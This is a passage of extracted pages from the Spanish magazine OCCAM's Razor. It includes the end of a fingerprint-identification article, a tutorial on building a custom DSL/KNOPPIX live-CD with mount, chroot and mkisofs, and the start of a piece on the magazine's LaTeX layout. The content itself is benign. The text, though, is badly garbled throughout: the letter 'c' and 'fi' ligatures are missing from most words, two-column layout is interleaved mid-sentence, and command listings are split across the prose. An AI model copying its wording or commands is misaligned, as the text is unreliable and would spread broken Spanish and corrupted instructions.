el dependiendo del resultado del re ono imiento), se puede denirse omo el punto de máxima urvatura
han desarrollado algoritmos muy estri tos para el tra- de la resta más interna mientras que el delta es el
tamiento de huellas. Pensados, en prin ipio, para ser entro de un onjunto de restas inferiores al nú leo
apli ados manualmente por expertos humanos llama- que dibujan varios triángulos on éntri os. Las pre-
dos da tilos opistas (que suelen ser poli ías formados lasi a iones se basan en el número de deltas (0, 1 ó
en la materia). La mayoría de los sistemas da tilos- 2) y en su posi ión relativa respe to al nú leo.
ópi os omputerizados están basados en imitar estos
Las normas judi iales de ada país denen el llamado
métodos. En los siguientes apartados, veremos dos ti-
Sistema Da tilos ópi o y éste dene las lases de la
pos de métodos pensados para resolver un problema
pre lasi a ión. Por ejemplo, el sistema norteameri-
de identi a ión en dos fases. Esto es: tenemos una
ano ( lasi a ión de Henry) dene las siguientes la-
huella y queremos bus arla en una base de datos de
ses: ar o (ar h), ar o de arpa (tented ar h), lazo iz-
 hados. En este tipo de identi a iones, el número
quierdo (left loop), lazo dere ho (right loop) y anillo
de posibles individuos suele ser muy grande (del orden
de resta (whorl). Un ejemplo de ada una apare e
de miles) y está permitido un tiempo de identi a ión
en la gura 2. De he ho, existe también la lase s ar
largo (varias horas).
( ia triz) que dene huellas par ialmente borradas por
i atri es permanentes.

No os pongáis a temblar... las huellas del DNI no La da tilos opia española dene lases muy similares
pueden usarse para bus ar a un sospe hoso así por aunque ligeramente diferentes. Una huella según el sis-
las buenas. Sólo se usan si hay orden judi ial y eso tema español (Clasi a ión de Federi o Olóriz basada
o urre uando hay otros indi ios y se quiere onr-
en trabajos de Henry, Galton y Vu eti h estándar en
mar la identidad de alguien (ejemplo típi o de uso
España, Bolivia, Colombia y Perú) se puede lasi ar
es la identi a ión de un adáver irre ono ible). Por
otra parte, la base de datos del DNI es muy difí il omo: adelta (no tiene deltas, se trata de un ar o o

de usar: primero, porque es muy grande y, segundo, ar o de arpa), dextrodelta (delta a la dere ha y la-
porque sólo tiene la huella del índi e dere ho. Las zo entral a la izquierda: lazo izquierdo), sinistrodelta
huellas de los diez dedos son independientes y nun- (delta a la izquierda, lazo a la dere ha: lazo dere ho)
a vamos a saber uál es la huella que en ontramos y bidelta (dos deltas a ambos lados, en estos asos el
en el lugar de autos (o en un uerpo mutilado), Sí, nú leo ha e un remolino: anillo de resta). Fijaos que
sí, uando la poli  ha a alguien le toman las diez hemos puesto de maniesto los pare idos y diferen ias
huellas. entre ambos sistemas.

Fig1. Izquierda: nú elo y delta de una huella. Dere ha: división en regiones utilizando los puntos singulares.

27| OCCAM's Razor


TECNOLOGÍA

Fig 2. Tipos de huellas (da tilos opia de Henry, EE.UU. y Reino Unido

A tualmente, existen sistemas automáti os que lasi- los OCR's. En la imagen de entrada hay 256 ni-
 an las huellas en este tipo de lases. Por ejemplo, veles de gris y hay que dejarlo en 2. En los asos
el PCASYS [3℄ es un software libre (parte del NFIS) más fá iles llega on poner un umbral pero és-
que realiza la lasi a ión de Henry. El método de te es un aso muy difí il y el umbral se al ula
PCASYS (expli ado muy brevemente) sería así (ojo, en ada punto según las restas que lo rodean.
ahora dejo por un momento el estilo divulgativo y me Fijaos que estamos dedi iendo, ¾dónde están las
vuelvo más té ni o, esto ya es pro esado de imagen): restas y donde los valles o sur os? A lo mejor
para pre lasi ar, daba igual equivo arse en un
Dividir la imagen en subregiones. En ada una par de sitios pero aquí ya no da tan igual.
se extraen datos de la dire ión predominante
(que ángulo forman las restas). Después todas las líneas que son más gruesas
que un píxel se adelgazan (thinning) para poder
Con todos esos datos (números) se forma un ve - seguirlas (un buen libro de pro esado de imagen
tor (ve tor de ara terísti as, que es omo se le que expli a la binariza ión, el thinning y mu ho
llama a los onjuntos de ara terísti as numéri- más es [5℄) de las restas.
as que usan todos los lasi adores automáti-
Siguiendo las líneas (las restas) se lo alizan y
os).
lasi an las minu ias.
El ve tor se pro esa on una red neuronal.
MINDTCT [3℄ es una apli a ión libre que realiza esta
Las redes neuronales [4℄ aprenden a re ono er
labor ( omo no, parte del NFIS).
uando un ve tor de ara terísti as orrespon-
de a la lase 1, a la 2... o a ninguna. Para ello,
OTROS SISTEMAS
se ha en unas opera iones matemáti as que imi-
tan el fun ionamiento del sistema nervioso de los Existen otros mu hos algoritmos para omparar hue-
humanos y animales. Sí, sí, es uno de los inven- llas pero sólo los que expli amos ahora se pueden usar
tos más interesantes que onoz o... El libro de en un jui io. Estos nuevos métodos suelen ser más
la referen ia 4 es muy, muy bueno. simples y más rápidos y su apli a ión más ono ida
es en sistemas de ontrol de a esos ( ontrol de a eso
físi o a un re into o de a eso a un sistema omo un
COMPARACIÓN DE HUELLAS (MINU- ordenador). En estos sistemas suele haber un le tor
CIAS) ele tróni o que no tiene tantos problemas omo los
da tilogramas lo que también aligera el pro esado (en
El método estándar (y el mar ado por la legisla ión
on reto no se suelen usar métodos de binariza ión
en todo el mundo) para la ompara ión exhaustiva de
tan sositi ados).
huellas es el de la extra ión de minu ias. Las minu-
ias son los puntos singulares en ontrados en el trazo
de las restas (puntos donde se bifur an, terminan...).
En una huella puede haber más de 100 minu ias. La
ley en España (y en mu hos otros países) estable e
que dos huellas on 12 o más minu ias oin identes
no pueden ser diferentes (las minu ias deben oin idir
en tipo, posi ión respe to al nú leo y dire ión o án-
gulo respe to a la horizontal). Nótese que basta on
en ontrar 12 oin iden ias, da igual el resto de minu-
ias (esta regla permite omparar on trozos de huellas
y/o on huellas de baja alidad).
Los sistemas que dete tan automáti amente minu ias
se basan en (de nuevo hablo de pro esado de imagen):
Fig 3. Tipos de minu ias (izquierda). Las ables para
Dividir la huella en trozos y en ada uno, de i- la lassi a ión son sólo las termina iones y bifur a-
dir que puntos son negros y uáles blan os. Eso iones (las otras, a ve es, se llaman minu ias falsas).
es una opera ión llamada binarizar y lo ha en Dere ha, ejemplo de dos tipos: bifur a ión ( uadrado)
mu hos sistemas de pro esado de imagen omo y n de resta ( ír ulo).

OCCAM's Razor | 28
TECNOLOGÍA

Si queréis ono er en detalle un sistema de este tipo de rayas (y las rayas pueden ser horizontales,
podéis leer este breve artí ulo (eso sí, es un artí u- verti ales, en ángulo.... sí, sí, omo dideñador
lo más formal que los que podéis en ontrar en esta de moda no iba a tener éxito). La textura se
revista): mide de diferentes maneras (el tema es apli ar
alguna opera ión que dé resultados diferentes en
http://www.gpi.ts .uvigo.es/pub/papers/said.pdf
texturas diferentes). Nosotros apli amos el ltro
Gabor [6℄ (una onvolu ión 2D) que es muy uti-
Sí, sí, no he resistido la tenta ión de ha erme propa-
lizado para des ribir texturas.
ganda a mí mismo... además, así sabéis ómo se me
ha dado por aprender estas osas (el artí ulo es un
Métodos muy pare idos a éste son los que se usan para
resumen del Proye to Fin de Carrera del alumno F o.
re ono er el dibujo del iris, pero ese debería ser otro
Javier Suárez López titulado Sistema Automáti o de
artí ulo de la serie...
Identi a ión Da tilar).
Por si sois algo vagos y no queréis leer el ladrillo ese
REFERENCIAS
lleno de fórmulas os puedo expli ar un po o de qué
va este método, muy pare ido a otros que se usan en [1℄ http://www.atmel. om.
este tipo de sistemas (de nuevo mar o el párrafo omo [2℄ P. Olguín, Sensores Biométri os, Revista Ele tró-
texto de pro esado de imagen): ni a de la Es uela de Ingeniería Elé tri a (Universidad
Central de Venezuela, http://www.u v.ve), n
o 6, 1999.
Primero se bus a el entro de la huella. Para eso
[3℄ M.D. Garris et al, NIST Fingerprint Ima-
hay que re orrer las restas midiendo gradientes
ge Software NISTIR 6813 (National Institute
y urvaturas.
of Standards and Te hnology - Internal Report,
Una vez en ontrado se trata de poner en ima http://www.nist.gov), 2001.
una malla ir ular que dene unos puntos de [4℄ S. Haykin, Neural Networks. A Comprehensive
interés. En ada punto se mide la textura de Foundation, Prenti e Hall, 1999.
la imagen y on todas las texturas se rea un [5℄ A.K. Jain, Fundamentals of Digital Image Pro es-
ve tor de ara terísti as. ¾Qué es la textura de sing, Ed. Prenti e Hall, 1989.
la imagen? digamos que es la des rip ión de un [6℄ L. Hong et al, Fingerprint Image Enhan ement:
entorno del punto en el que estamos. Una a- Algorithm and Performan e Evaluation, IEEE Trans.
misa de uadros es una textura diferente a una PAMI, 20(8), 777-789, 1998.

29| OCCAM's Razor


DISTROS

Distribuye tus programas en Live-CD


Personalizando DSL y KNOPPIX
por Er Tuneao

o amrazor $ su -

A
Password:
rootrazor # mkdir -p /opt/vm/dsl-o am
lguna vez os han pasado un programa y
rootrazor # d /opt/vm/dsl-o am
uando habéis intentado ompilarlo, un montón
rootrazor # mkdir filesystem
de librerías perdidas os han desanimado?. O...
rootrazor # mkdir master
os gustaría enseñarle a alguien ese programa tan rootrazor # mkdir temp
hulo que habéis es rito, pero habéis desistido
por el he ho de tener que expli ar omo on-
Bien, a abamos de rear tres dire torios sobre los que
gurar todo el entorno para que fun ione?. No
desesperéis. Los live-CDs vienen al res ate.
trabajaremos. El primero, filesystem, será donde ge-
neremos el sistema de  heros de nuestra live. El se-
gundo, master, es el que ontendrá los  heros que
Los live-CDs se han popularizado en los últimos años
irán en el CD... bási amente un sistema de arranque
y la verdad es que son algo realmente útil. Seguro
y una imagen omprimida del ontenido del dire torio
que todos sabéis de qué estamos hablando, pero por
anterior (filesystem).
si todavía queda algún despistado, os diremos que, un
live-CD permite arran ar un sistema ompleto desde
CD (o DVD) sin ne esidad de instalar absolutamente  Los Live-CD basados en KNOP-
nada en el dis o duro del ordenador que lo eje ute. PIX son muy fá iles de persona-
Las posibilidades son ilimitadas, pero nosotros nos
lizar
entraremos en una apli a ión muy sen illa para ilus-
trar el pro eso y que luego podáis llevar a abo vues-
tros propios proye tos. Finalmente, el dire torio temp, lo utilizaremos para

Sen illamente vamos a ver omo añadir nuestros pro- osas temporales :). Observad que lo primero que ha-

pios programas a una distribu ión live, de forma que emos es ha ernos root (valga la redundan ia). Varios

podamos distribuirlos on la seguridad de que se van de los pasos que siguen se pueden ha er omo usuario

a eje utar en un entorno orre to. Bueno, esto es normal, pero otros no, así que en este texto haremos

así, siempre y uando vuestro programa no utili e un todo el pro eso omo root, aunque en general esto no

hardware super-espe í o que nadie más que vosotros es re omendable.

tiene. En ese aso ya solo os queda invitar a unas er-


vezas en asa para poder enseñar vuestra rea ión :). MANOS A LA OBRA
Todo este pro eso lo vamos a realizar on DSL. Sin Lo primero que tenemos que onseguir es una ima-
embargo, DSL está basada en KNOPPIX, al igual que gen del live-CD que queremos modi ar... podríamos
una gran parte de las distribu iones live existentes. Así rearla nosotros mismos desde ero, pero en el pun-
que, la mayoría de lo que ontemos en lo que sigue lo to en el que estamos eso no nos aportaría gran osa.
podréis apli ar a ualquiera de esos derivados. Quizás en el futuro hablemos de este tema.
Después de des argar nuestra imagen iso DSL, la mon-
PREPARANDO NUESTRO ENTORNO tamos, para poder a eder a su ontenido. Esto se ha e
on el omando mount y el dispositivo de loopba k.
El pro eso que vamos a seguir para generar nuestra
Live-CD se puede dividir en dos pasos fundamentales.
rootrazor # mount -o loop dsl-3.2.iso temp
El primero, lo podríamos llamar, paso de prepara-
rootrazor # p -a temp/* master/.
ión, y solo lo tendremos que ha er una vez. El segun- rootrazor # umount temp
do, que podríamos llamar paso de produ ión ten-
dremos que ha erlo ada vez que modiquemos nues-
tro Live-CD. Aja!... una de esas osas temporales.
Lo que a abamos de ha er es una opia del ontenido
El paso de prepara ión onsiste en poblar un par de
de la imagen iso que hemos des argado. En el dire -
dire torios a partir de los uales se generará nuestra
distribu ión. Para que todo sea más sen illo, vamos a
torio master tendremos los  heros ne esarios para
generar el CD nal on nuestra distribu ión live. Ob-
trabajar sobre un dire torio on reto, el ual, obvia-
servad en la se uen ia de omandos anterior el uso del
mente, podréis ambiar según os venga en gana. Así
que empezaríamos on algo omo esto:
swit h -a durante la opia... Curiosidad?... Pues solo
hay que onsultar el manual ;)

OCCAM's Razor | 30
DISTROS

DERIVADOS KNOPPIX y ya está. Esta forma de ha erlo no es muy re omen-


dable, a no ser que sepamos muy bien lo que estamos
Los live-CDs basados en KNOPPIX, tienen, prá ti a-
ha iendo y lo que vayamos a instalar sea un binario
mente todos, la misma estru tura. Un dire torio lla-
sen illo o on las dependen ias muy laras. Si solo
mado boot en el que se en uentran los  heros ne-
vamos a añadir o modi ar  heros de ongura ión
esarios para el sistema de arranque y un dire torio
quizás esta sea la forma más ómoda.
llamado KNOPPIX en el que se en uentra un úni o -
La forma orre ta es utilizar el omando hroot. Es-
hero, muy gordo, llamado KNOPPIX.
te omando nos permite ambiar el dire torio raíz del
sistema de  heros y por lo tanto, a todos los efe tos

El primer paso del pro eso on- (bueno, asi) es omo si hubiéramos arran ado on el
CD que estamos manipulando.
siste en destripar un live-CD La forma de ha erlo es la siguiente.

El pro eso de boot se lleva a abo utilizando el paquete


rootrazor # hroot filesystem
bash-2.05b# mount -t pro /pro pro
isolinux (la versión para CDs de syslinux) y hablare-
mos sobre él más tarde. El  hero KNOPPIX/KNOPPIX
es donde realmente está todo lo que ontiene la distri-
Ya estamos dentro!. Ahora ualquier osa que instale-
bu ión. Se alma ena omo una imagen de dis o om-
mos, ya sea a partir de sus fuentes (ne esitamos un en-
primida que el sistema montará durante el pro eso de
torno de desarrollo, ompilador, librerías, in ludes,...)
arranque.
o on el sistema de paquetes que propor ione la dis-
Bien. Ese es nuestro objetivo. Tenemos que meter
tribu ión on la que estamos trabajando, a abará en
nuestros programas y  heros ahí dentro.
nuestro live-CD en algunos minutos.
Observad que tras el omando hroot hemos montado
DESCOMPRIMIENDO KNOPPIX
el sistema de  heros pro ... Dependiendo de lo que
Lo primero que tenemos que ha er es a eder al onte- vayamos a ha er puede no ser ne esario. Simplemente,
nido del  hero KNOPPIX, para lo que ne esitamos iertas utilidades lo utilizan para obtener informa ión
dispoder en nuestro sistema del módulo loop. Este del sistema y si este no existe... pues fallan.
módulo propor iona un dispositivo de loopba k iguali- Si utilizáis /pro , re ordad desmontarlo antes de sa-
to que loop (el que usamos para montar la imagen iso lir del entorno hroot, uando hayáis terminado de
del CD), pero que maneja  heros omprimidos. instalar lo que ne esitéis.
La forma de utilizarlo es muy sen illa

bash-2.05b# umount /pro


rootrazor # modprobe loop \ bash-2.05b# exit
> file=master/KNOPPIX/KNOPPIX rootrazor #
rootrazor # mount -o ro /dev/ loop0 temp
rootrazor # p -a temp/* filesystem/.
rootrazor # umount temp
GENERANDO EL NUEVO FS
Ejem!... otra osa temporal! Ahora que ya tenemos instalado nuestra killing appli-
Si ahora le e háis un ojo al dire torio filesystem, ve- ation  tenemos que generar un nuevo  hero KNOP-
réis algo mu ho más familiar. El sistema de  heros PIX para in luir en nuestra imagen iso que nalmente
original (KNOPPIX) no lo podemos modi ar dire - se onvertirá en un live-CD. Este pro eso onsta de
tamente y esa es la razón de que reali emos una opia varios pasos (obviamente).
del mismo. En uanto veamos omo se genera enten- En primer lugar generamos una imagen iso normal y
deréis el porqué de ello. A partir de aquí trabajaremos orriente de nuestro nuevo sistema de  heros:
sobre esta opia alma enada en filesystem.
Bien, en este punto termina el paso de prepara ión.
rootrazor # mkisofs -R -J -o temp.iso ./filesystem
En estos momentos tenemos todo lo que ne esitamos
en el lugar en el que lo queremos. Ahora solo ne esita-
mos saber omo modi ar nuestro sistema de  heros
A ontinua ión tenemos que generar una imagen om-
y omo generar un nuevo CD... es de ir, omo volver
primida que pueda manejar loop. Esta imagen se ge-
a juntarlo todo.
nera on la utilidad reate_ ompressed_fs que suele
estar in luida en las distribu iones que utilizan el dis-
MODIFICANDO EL SISTEMA
positivo loop, pero normalmente no está disponible
Ahora ya podemos a eder al sistema de  heros y en una instala ión normal.
añadir lo que queramos. Esto lo podemos ha er de Así que o onseguimos ese programa y lo instalamos o
dos formas. utilizamos el que está dentro del CD. Nosotros vamos
La primera es a sa o. Copiamos los  heros que ne e- a ha er esto último, ya que es mu ho más dire to. Así
sitamos en el lugar ade uado dentro de filesystem que simplemente eje utamos:

31| OCCAM's Razor


DISTROS

Cuando el omando anterior termine, obtendremos un


 hero llamado dsl-o ams.iso. Nuestro live-CD.
rootrazor # filesystem/usr/bin/ reate_ ompressed_fs \ Para probarlo, podemos grabarlo en un CD y arran ar
> temp.iso 65536 > master/KNOPPIX/KNOPPIX nuestra máquina on él, o utilizar un emulador omo
qemu.
Es re omendable la segunda op ión, al menos hasta
En el hipotéti o aso de que el programa no se eje u-
que hayáis omprobado que todo fun iona orre ta-
tara, porque la distribu ión utili e versiones diferentes
mente... a no ser que ne esitéis posavasos, para esa
de algunas librerías de las que tenemos instaladas, o
mesita tan mona que tenéis en la sala de estar :). Pa-
ualquier otra osa, este pro eso siempre lo podremos
ra probar nuestro live- d on qemu, solo tenemos que
eje utar desde el entorno hroot. eje utar este omando:

rootrazor # qemu - drom /tmp/dsl-o ams.iso


 Con reate_ ompressed_fs po-
demos rear imágenes omprimi-
Voilá!... nuestra propia live.
das de un sistema de  heros.
PANTALLA DE ARRANQUE
Como omentario nal, la última versión de KNOP- Ahora vamos a darle algunos toques personales a nues-

PIX (v 5.1) propor iona una versión más moderna de tra live, para que se note que es úni a e in omparable.

reate_ ompressed_fs. Si estamos trabajando sobre Lo primero que vamos a ha er es ambiar la pantalla

esta distribu ión, simplemente tenemos que eje utar: de arranque. Esto no tiene nada que ver on DSL ni
on KNOPPIX, sino on isolinux, el gestor de arran-
que que estas distribu iones utilizan.
rootrazor # filesystem/usr/bin/ reate_ ompressed_fs \
> temp.iso master/KNOPPIX/KNOPPIX Si e hamos un ojo al dire torio master/boot/isolinux,
nos en ontraremos on un  hero llamado logo.16...
ese es el  hero que tenemos que modi ar. Puesto
Ahora tendremos en el dire torio filesystem un - que utiliza un formato espe ial, tendremos que utili-
hero llamado KNOPPIX que ya podremos utilizar di- zar algunos programas para obtenerlo.
re tamente para generar nuestro live-CD. Lo primero que haremos es rear nuestra amante
imagen on nuestro programa de dibujo preferido (va-
GENERANDO Y PROBANDO EL mos, el GIMP :). Esta imagen, debe tener un tamaño
LIVE-CD de 640x400 y 16 olores o menos. Podéis trabajar on
olor real y onvertir la imagen a indexed olor uan-
Con todos los elementos que hemos ido produ ien-
do la tengáis lista.
do, la genera ión del live-CD se redu e a generar una
Grabaremos nuestra splash s reen en formato ppm
imagen arran able on los  heros que hemos alma-
para poder utilizar las herramientas on las que gene-
enado en el dire torio master. Pero antes debemos
rar el  hero logo.16 de la siguiente forma:
in luir nuestro nuevo sistema de  heros.
Esto es lo que debemos eje utar:
o amrazor $ ppmtolss16 < logo.pnm > logo.16

o amrazor $ p logo.16 master/boot/isolinux
rootrazor # p filesystem KNOPPIX \
> master/KNOPPIX/KNOPPIX
rootrazor # mkisofs -pad -l -r -J -v \
> -V "O am's Razor. La Revista" -no-emul-boot \
> -boot-load-size 4 -boot-info-table \
> -b boot/isolinux/isolinux.bin \
> - boot/isolinux/boot. at \
> -hide-rr-moved -o dsl-o ams.iso \
> /opt/vm/dsl-o ams/master/

Un po o rollo, pero es lo que hay. Quien tenga u-


riosidad por lo que ha e ada uno de los parámetros,
podrá en ontrar una des rip ión detallada de los mis-
mos en la página del manual de mkisofs y la página
web de syslinux/isolinux.
Lo úni o realmente importante de este omando es
que el último parámetro debe ser un path absoluto.
El resto de  heros referen iados en el mismo se bus-
an a partir de este path.

OCCAM's Razor | 32
DISTROS

ZONA GEEK. AUTOMATIZANDO EL


No vamos a profundizar en las op iones que ofre e sys- PROCESO
linux/isolinux, pero podéis e har un ojo al dire torio
Pues eso, omo somos unos vaguillos, y un po o tor-
isolinux.
pes, hemos tenido que generar unas uantas imágenes
En él en ontraréis todas las op iones de arranque del
hasta que la distro quedara omo queríamos, así que...
sistema en los  heros de texto que ontiene.
omo no, es ribimos un pequeño s ript para automa-
tizar todo el pro eso de genera ión :). Aquí podéis
NUESTRA DISTRO verlo:
Bueno, nosotros hemos de idido rear una live-CD build.sh

usando DSL on la que distribuir nuestra revista. He-


#!/bin/sh
mos opiado todos los  heros de nuestra web en el
dire torio /opt/monkey/htdo s. Como servidor web e ho "------------------------------------------------------------"
e ho "Construyendo image ISO del sistema de fi heros"
utilizamos el que in luye DSL... monkey. e ho "------------------------------------------------------------"
Con todo esto, solo tenemos que lanzar nuestro servi-
mkisofs -R -J -o temp.iso ./filesystem/

dor web en el arranque y que ha er que refox mues- e ho "------------------------------------------------------------"


e ho "Ini iando hroot..."
tre nuestra página web al arran ar el sistema grá o.
./filesystem/usr/bin/ reate_ ompressed_fs temp.iso 65536 > \
Para lanzar nuestro servidor web, modi aremos el - master/KNOPPIX/KNOPPIX"
hero /opt/boot al.sh, añadiendo una línea omo la
e ho "------------------------------------------------------------"

siguiente: e ho "------------------------------------------------------------"
e ho "Generando CD bootable"
e ho "------------------------------------------------------------"
mkisofs -pad -l -r -J -v -V "O am's Razor. La Revista" \
/opt/monkey/bin/banana start -no-emul-boot -boot-load-size 4 -boot-info-table \
-b boot/isolinux/isolinux.bin - boot/isolinux/boot. at \
-hide-rr-moved -o dsl-o ams.iso /opt/vm/dsl-o ams/master/

Ahora solo tenemos que modi ar el  hero /et /ske- rm temp.iso


l/.xinitr . Si editáis este  hero veréis una línea en la
e ho "HECHO!!!"
que se lanza el browser dillo. Modi aremos esa línea
para que a eda a nuestro servidor web lo al de la
siguiente forma: Como podéis ver es una tontería, pero ha e las prue-
bas más llevaderas, sobre todo on KNOPPIX que
requiere un tiempo no despre iable para generarse.
filefox http://lo alhost/ &>/dev/null &
ESTO ES TODO
Mola!... Además ahora tenemos un servidor web on Bien, pues esto es todo. Hay mu hísimas osas más
lo que nuestra revista se puede ver desde ualquier or- que se pueden personalizar y mu has op iones que
denador one tado a la misma red en la que se eje uta probar. Esperamos que on lo que aquí os hemos on-
nuestra distro :)... tado tengáis su iente para poder entreteneros un po-
En la gura podéis ver el resultado nal. o reando vuestros propios live- ds.

33| OCCAM's Razor


MAKING OF

El Making of de...


... O am's Razor
por Er Es ribano

los ono eréis. Los que no, aquí tenéis la lista:

T ras la publi a ión de nuestro primero nú-


mero, mu hos le tores se interesaron por omo
Fa y Headers: Con el que generamos los pies
de página on la numera ión. Este paquete es
AT X.
un viejo ono ido de los usuarios L E
se había he ho la revista. Sobre todo por el uso
de LAT X, que no es muy omún para estos me-
E
Lstlisting: Para que los listados queden hulos.
nesteres. Así que aquí está el meikinof  de esta
TexPos: Este paquete se utiliza en la página
revista que estáis leyendo. Leed on uidado, no
de la editorial, y nos permite posi ionar bloques
vaya a ser que entréis en un bu le innito :)
de texto de forma arbitraria en la página. Los
que alguna vez hayáis reado un póster de esos
Antes de que esto se onvirtiera en una revista, traba- de ongresos, seguro que lo habéis utilizado de
jaba yo para una empresa de alta te nología ubi ada forma dire ta o indire ta.
en una ono ida iudad española. Por aquel enton es,
me to ó es ribir ienes de do umentos para el proye -
PsTri ks/PdfTri ks: Este paquete es el que
nos permite generar la abe era de las páginas
to en el que trabajaba.
y posi ionar imágenes por debajo del texto li-
Como no podía ser de otra forma, los do umentos se
bremente.
es ribían usando el ono ido pro esador de textos Pa-
labra (y las presenta iones se ha ían on el software Si le e háis un ojo a las fuentes de la revista veréis
Punto Poderoso of urse -es de ir, de maldi ión-). que se in luyen mu hos otros paquetes. Algunos son
Seré rarito, pero ese programa me resultaba muy in- habituales y otros los ne esitan los que a abamos de
omodo de utilizar, sobre todo on do umentos muy omentar. No vamos a entrar en ese nivel de detalle,
grandes en los que los números de se iones, tablas y pero si tenéis interés, no hay más que de irlo y se po-
guras eran bastante importantes. dría es ribir algo.
Puesto que los do umentos nales se distribuían omo Para expli ar los detalles vamos a intentar seguir el
PDFs, pensé: Si puedo generar un PDF similar pero orden en el que apare en las osas que mere en ser
AT X, sería mu ho más feliz :).
usando L men ionadas dentro de la revista. Por omodidad he-
E
AT X que
mos denido algunos entornos y omandos L E
CUANDO TODO EMPEZÓ podéis en ontrar en el  hero portada.tex. Los ire-
mos omentando según los vayamos ne esitando.
Así que me puse a investigar por mi uenta y ries-
AT X idénti a
go, omo poder generar una plantilla L LA EDITORIAL
E
a la plantilla Word que usaba mi ompañía. Duran-
Como omentábamos más arriba, la página de la edi-
te mi periplo por Internet y el CTAN (Comprehensie
torial es espe ial. Está ompuesta de dos olumnas
TEX Ar hive Network) en ontré un montón de paque-
irregulares. La primera ontiene informa ión sobre el
tes muy interesantes, hasta que nalmente topé on
número a tual, se en uentra a la izquierda y es bastan-
la página del paquete pstri ks.
te más estre ha. La segunda olumna o upa la mayor
Las demos que en su página se podían ver eran bas-
parte de la página y ontiene el texto de la editorial.
tante impresionantes, el paquete bastante sen illo de
Además de estas dos olumnas tenemos una abe e-
usar y las primeras pruebas que hi e se pare ían a...
ra ompuesta por una imagen y un texto que ontiene
una revista!!!.
entre otras osas el título de la editorial. Comen emos
Esta historia tiene dos nales. Uno es este que estás le-
por esta abe era:
yendo. El otro, menos agradable, se puede resumir en
un montón de páginas en Word... Mu ho que es ribir
\begin{flushright}
y po o tiempo para innovar :(.
\parbox[top℄{0.9\linewidth}{\flushright
Después de esta pequeña introdu ión históri a que {\resizebox{!}{1 m}{\texts {Editorial}}}
a mu hos os la traerá oja, vamos al grano.
\vspa e{2mm}
PAQUETES CLAVE
{\Huge Aquí Estamos}
Antes de meternos on los temas más peliagudos va-
mos a omentar que paquetes L AT X hemos utilizado by The O am Team
E
y para qué. Los que hayáis visitado la página web ya }

OCCAM's Razor | 34
MAKING OF

La se uen ia de omandos de arriba no tiene mu ho \begin{textblo k}{20}(3.5,-13)


misterio. Los textos se justi an a la dere ha y se agru- La segunda Columna
pan en un parbox. Con esto evitamos que el texto de \end{textblo k}
la abe era se extienda hasta o upar toda la página.
Para terminar la abe era nos falta añadir la imagen.

Este fragmento de ódigo rea una olumna on el an-


ho determinado por el primer valor númeri o, en la
El uso de pstri ks nos permi- posi ión que se espe i a a ontinua ión. Podéis ver

te posi ionar imágenes arbitra- omo una olumna está junto a la otra, pero la se-
gunda empieza un po o más abajo debido a que la
riamente en la página abe era está fuera de la olumna.

Como podéis omprobar en las fuentes del número 1,


las olumnas están ompuestas de una forma pe uliar.
Todas las imágenes de esta página se añaden utilizan-
No hay ninguna razón para ello, simplemente pagamos
do pstri ks, para poder posi ionarlas donde nosotros
la novatada :P. El primer parámetro de texblo k es
queramos. Aquí están las líneas de interés:
el que realmente ontrola el an ho de la olumna, sin
embargo, este tamaño se vuelve a ajustar utilizando
\rput(-10.5,7.0){\resizebox{!}{3 m}\ un entorno minipage que realmente es redundante.
{{\epsfbox{Typewritter.eps}}}}
Comparad la página de la editorial del número 1 on
\rput(-17.0,-5){\resizebox{7 m}{35.0 m}\
la de este número 2 para omprobar las diferen ias.
{{\epsfbox{bar.eps}}}}
\rput(-16.3,3.5){\resizebox{!}{4.8 m}\
{{\epsfbox{portada-3-thumb.eps}}}} LOS ARTÍCULOS
\rput(-16.3,-17.5){\resizebox{!}{0.9 m}\
{{\epsfbox{li en ia.eps}}}} El resto de la revista está ompuesta por artí ulos, los
uales tienen todos la misma forma: Una abe era, se-
guida del uerpo del artí ulo separado en páginas.
La primera de las imágenes es la de nuestra abe e- Una abe era típi a sería la siguiente:
ra. Luego pintamos una barra on un ligero gradiente
verde, a ontinua ión la imagen de la portada y -
nalmente el logo de reative ommons que apare e al
% In luye imagen del artí ulo
nal de la olumna de la izquierda. \rput(1,-3.0){\epsfbox{navaja.eps}}
Como veremos más adelante, todos los artí ulos utili-
zan este método para in luir la imagen que a ompaña % ----------------------------------------------
a la abe era del mismo. % Cabe era
Para terminar on esto, observad que hemos utilizado \begin{flushright}
el omando rputs. Para entender omo fun iona este \mse tion{intro olor}{bla k}{0.18}{MALAS BESTIAS}
omando y los que siguen a ontinua ión es ne esario
omprender que existe una espe ie de lapiz virtual
\mtitle{8 m}{NetCat: La navaja suiza de la Red}
que indi a la posi ión a tual en la página después de
\msubtitle{12 m}{Usos uriosos de esta herramienta}
ada omando que añadimos.
El omando rputs nos permite pre isamente mover
{\sf por Er Manitas}
ese lápiz, pero de forma relativa a su posi ión a tual.
En el aso on reto de la página editorial, tras es ribir {\psset{line olor=bla k,linestyle=dotted}\psline(-12,0)}
el texto de abe era, el lápiz se en uentra algo por \end{flushright}
debajo de ese texto. Esto es debido a que L AT X in-
E
tenta rellenar la página on los elementos disponibles \vspa e{2mm}
(re ordáis el parbox de más arriba?). % -------------------------------------------------
La experien ia nos ha enseñado y en este segundo nú-
mero las imágenes de la editorial se han in luido de
una forma más ade uada. Como podéis ver, lo primero que ha emos es poner la
imagen que a ompaña a la abe era. Es importante
COLUMNAS LIBRES que sea lo primero que se ha e, puesto que la página

Como de íamos, la página editorial está ompuesta se dibuja en el orden en el que apare e en  hero

de dos olumnas posi ionadas de forma libre gra ias fuente. Así, si ponemos nuestra imagen omo primer

al paquete TextPos. Veamos omo lo ha emos: elemento de la página, ualquier texto o imagen que
se dibuje posteriormente se sobreimpondrá a esta pri-
mera.
\begin{textblo k}{30}(-1.5,-15)
Primera olumna Los artí ulos que ontienen más de una imagen en su
\end{textblo k} primera página, tendrán, obviamente, varias líneas de
este tipo.

35| OCCAM's Razor


MAKING OF

Tras la imagen, y justi ado a la dere ha, en ontra- La segunda es para tener ontrol sobre el lugar
mos la abe era propiamente di ha, ompuesta por el en el que apare en las guras que se posi ionan
nombre de la se ión (que apare e en la parte supe- de forma espe ial ( on pstri ks).
rior dere ha de la página), un título, un subtítulo, el
Si alguien ono e una forma mejor de ha erlo, esta-
nombre del autor y una línea de puntos que la separa
ríamos muy interesados en ono erla :).
del resto del artí ulo.

COMANDOS DE CABECERA El pro eso de omposi ión del


La línea de puntos superior la dibuja el omando artí ulo es manual. Alguna
mse tion, el ual in luimos a ontinua ión:
idea?
\new ommand{\mse tion}[4℄{
{\begin{flushright}{ El uerpo prin ipal de ada página de un artí ulo se
